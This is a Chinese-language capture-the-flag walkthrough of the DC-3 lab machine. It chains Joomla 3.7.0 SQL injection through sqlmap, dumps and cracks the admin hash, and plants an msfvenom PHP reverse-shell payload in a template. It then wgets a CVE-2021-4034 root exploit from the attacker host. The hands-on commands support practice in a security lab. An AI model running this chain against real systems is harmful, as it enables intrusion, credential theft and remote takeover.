目录
下载
DC and Five86 Series Challenges - DC-3
找到download,点击here即可
.ova文件导入
信息搜集
开始
注意靶场网络配置与kali相同,启动靶机
查看kali的IP,使用nmap找到靶机ip,然后进行端口详细扫描
我们看到靶机只开放了80端口
访问网站,并识别出网站CMS为joomla
dirb扫描后台地址
dirb http://192.168.80.131
我们得到了后台地址
http://192.168.80.131/administrator/
访问网址
joomscan使用
于是我们使用专门针对joomla的扫描工具joomscan
kali没有自带,需要进行安装
apt-get install joomscan //安装
joomscan -version //可以看到安装的版本信息
joomscan -u http://192.168.80.131
可以看到当前Joomla的版本号是3.7.0
searchsploit使用
既然我们知道了Joomla的版本号,那我们可以使用searchsploit ,查看当前版本有哪些可以值得利用的漏洞
于是,我们使用searchsploit进行扫描
searchsploit joomla 3.7.0
可以看到有注入sql注入漏洞,在42033当中
查看具体路径
searchsploit -p 42033
查看文件,看到sql注入脚本
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
sql注入
我们在文件中看到sql语句,尝试
注意将其修改为靶机的Ip地址,--dbs获取数据库
sqlmap -u "http://192.168.80.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
可以看到数据库为 joomladb
,知道了数据库,接下来获取一下表
sqlmap -u "http://192.168.80.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --tables -D joomladb -p list[fullordering]
可以看到有个#__users
的表,查看一下,一般登录数据都会存放在这个表中
sqlmap -u "http://192.168.80.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --columns -T "#__users" -D joomladb -p list[fullordering]
获取到用户表的字段,接下来就是获取数据
sqlmap -u "http://192.168.80.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dump -C "username,password" -T "#__users" -D joomladb -p list[fullordering]
获取到账户名和密码
admin
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
可是密码加密的,需要我们解密下
创建一个pswd.txt文件,将密码放入其中,保存
john pswd.txt
可以获取解密后的密码是:snoopy
后门生成,获取shell
msfvenom使用,利用payload php/meterpreter/reverse_tcp
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.80.142 LPORT=1234 -f raw > shell1.php
//shell1.php随便取个名字
这里LHOST即 kali IP,lport默认输入为4444,因为后面的msf利用时lport也默认为4444,我这之前出了点问题所以改的
接着去后台登录一下 账号:admin 密码:snoopy
在后台多浏览一下,发现看到 Templates模块下有php文件,那么这个地方可以写入木马
在html目录下 创建一个新的PHP文件,写入木马尝试一下
右上角输入名称,类型选php
创建后输入木马,即刚才生成的shell1.php,点击保存
根据页面的信息,获取文件的目录是:http://192.168.80.131/templates/beez3/html/
使用msf工具
输入
msfconsole //启动msf
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
设置监听地址,即kali地址
set lhost 192.168.80.142
这里的lport与上面的msfvenom设置的lport一致
输入run运行
在访问http://192.168.80.131/templates/beez3/html/页面的p.php文件后,这边会获得shell
然后我们就拿到了shell
漏洞利用,提权
uname -a 查看版本信息 linux4.4.0看到 Ubuntu 2016 Apr即Ununtu16.04
searchsploit ubuntu 16.04 //查看利用漏洞
我们利用CVE-2021-4034
下载利用脚本:https://www.zacarx.com/a/aa/CVE-2021-4034-main.zip
注意这里下载后,文件名字为CVE-2021-4034-main.zip,我将名字改了,实际不需要改,下面的文件名按照自己下载的更改即可
下载之后,首先把exp放在kali中,在你下载的目录中打开终端,我这里下载到了下载目录里
然后执行命令
python -m http.server 9000 //使用python开启了一个http服务
然后在刚才获得shell中执行
wget http://192.168.80.142:9000/39772.zip //ip是kail的ip
解压exp,按照网页README.md步骤即可,即下面我输的一些命令
GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day
unzip 39772.zip
发现成功提权,进入root查看目录,找到flag